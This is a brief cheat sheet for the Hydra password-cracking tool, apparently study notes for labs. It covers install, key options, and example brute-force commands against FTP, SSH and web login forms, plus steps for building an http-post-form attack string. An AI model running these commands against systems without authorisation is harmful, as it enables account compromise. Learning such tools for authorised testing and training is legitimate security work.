Link: https://www.kali.org/tools/hydra/
1
sudo apt install hydra
options
| Section | Function |
|---|---|
| -t 4 | Number of parallel connections per target |
| -l [user] | Points to the user who’s account you’re trying to compromise |
| P [path to dictionary] | Points to the file containing the list of possible passwords |
examples
ftp
1
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
web login
1
hydra -l <USER> -p <Password> <IP Address> http-post-form “<Login Page>:<Request Body>:<Error Message>”
ssh
1
hydra -l user -P passlist ip -t 64 ssh
set up the command for web login
command build
1
2
3
4
5
6
7
8
With all the information that we have collected now let’s build the hydra command.
Change the <Login page> this value has to start with “/” backspace.
Change <Request body> with the format from the page. We do need to modify the username and password. Replace the failed username with ^USER^ and the failed password with ^PASS^. This change will allow hydra to substitute the values.
Change the <Error Message> with the failed login error message.
Change the <IP Address> with either an IP address or hostname.
Change the <User> with either username or username list.
Change the <Password> with either a password or password list.
Layout of command: hydra -L <USER> -P <Password> <IP Address> http-post-form “<Login Page>:<Request Body>:<Error Message>”